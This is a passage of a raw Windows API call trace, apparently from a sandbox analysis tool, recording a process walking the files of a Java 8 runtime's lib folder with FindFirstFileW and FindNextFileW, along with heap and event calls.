ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="invalid32x32.gif", cAlternateFileName="INVALI~1.GIF")) returned 1 [0230.405] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyDrop32x32.gif", cAlternateFileName="WIN32_~1.GIF")) returned 1 [0230.405] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_CopyNoDrop32x32.gif", cAlternateFileName="WIN32_~2.GIF")) returned 1 [0230.406] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkDrop32x32.gif", cAlternateFileName="WIN32_~3.GIF")) returned 1 [0230.406] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_LinkNoDrop32x32.gif", cAlternateFileName="WIN32_~4.GIF")) returned 1 [0230.406] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveDrop32x32.gif", cAlternateFileName="WI06CF~1.GIF")) returned 1 [0230.406] ResetEvent (hEvent=0x2b8) returned 1 [0230.406] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.620] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0230.621] ResetEvent (hEvent=0x2b8) returned 1 [0230.621] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.623] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1e788 | out: lpFindFileData=0x2d1e788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 0 [0230.623] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0230.624] GetProcessHeap () returned 0xc10000 [0230.624] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0230.624] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cursors", cAlternateFileName="")) returned 0 [0230.624] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0230.625] GetProcessHeap () returned 0xc10000 [0230.625] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.625] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0230.625] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0230.625] ResetEvent (hEvent=0x2b8) returned 1 [0230.625] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.627] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0230.627] ResetEvent (hEvent=0x2b8) returned 1 [0230.627] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.628] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0230.629] GetProcessHeap () returned 0xc10000 [0230.629] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0230.629] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.629] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0230.629] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0230.629] ResetEvent (hEvent=0x2b8) returned 1 [0230.629] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.631] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0230.631] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0230.632] GetProcessHeap () returned 0xc10000 [0230.632] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.632] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0230.632] ResetEvent (hEvent=0x2b8) returned 1 [0230.632] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.634] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0230.634] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0230.634] ResetEvent (hEvent=0x2b8) returned 1 [0230.634] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.636] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0230.636] ResetEvent (hEvent=0x2b8) returned 1 [0230.636] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.638] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="logging.properties", cAlternateFileName="LOGGIN~1.PRO")) returned 1 [0230.638] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="management", cAlternateFileName="MANAGE~1")) returned 1 [0230.638] GetProcessHeap () returned 0xc10000 [0230.638] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0230.639] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1389711, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.639] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="JMXREM~1.ACC")) returned 1 [0230.640] ResetEvent (hEvent=0x2b8) returned 1 [0230.640] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.642] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="JMXREM~1.TEM")) returned 1 [0230.642] ResetEvent (hEvent=0x2b8) returned 1 [0230.642] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.643] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="MANAGE~1.PRO")) returned 1 [0230.644] ResetEvent (hEvent=0x2b8) returned 1 [0230.644] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.649] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 1 [0230.649] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="SNMPAC~1.TEM")) returned 0 [0230.649] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0230.650] GetProcessHeap () returned 0xc10000 [0230.650] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0230.650] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0230.650] ResetEvent (hEvent=0x2b8) returned 1 [0230.650] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.655] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x84e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="META-I~1")) returned 1 [0230.656] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1170, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="NET~1.PRO")) returned 1 [0230.656] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0230.656] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="PSFONT~1.JA")) returned 1 [0230.656] ResetEvent (hEvent=0x2b8) returned 1 [0230.656] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.658] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="PSFONT~1.PRO")) returned 1 [0230.658] ResetEvent (hEvent=0x2b8) returned 1 [0230.658] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0230.663] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="RESOUR~1.JAR")) returned 1 [0230.664] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0230.664] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0230.664] GetProcessHeap () returned 0xc10000 [0230.664] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0230.664] FindFirstFileW 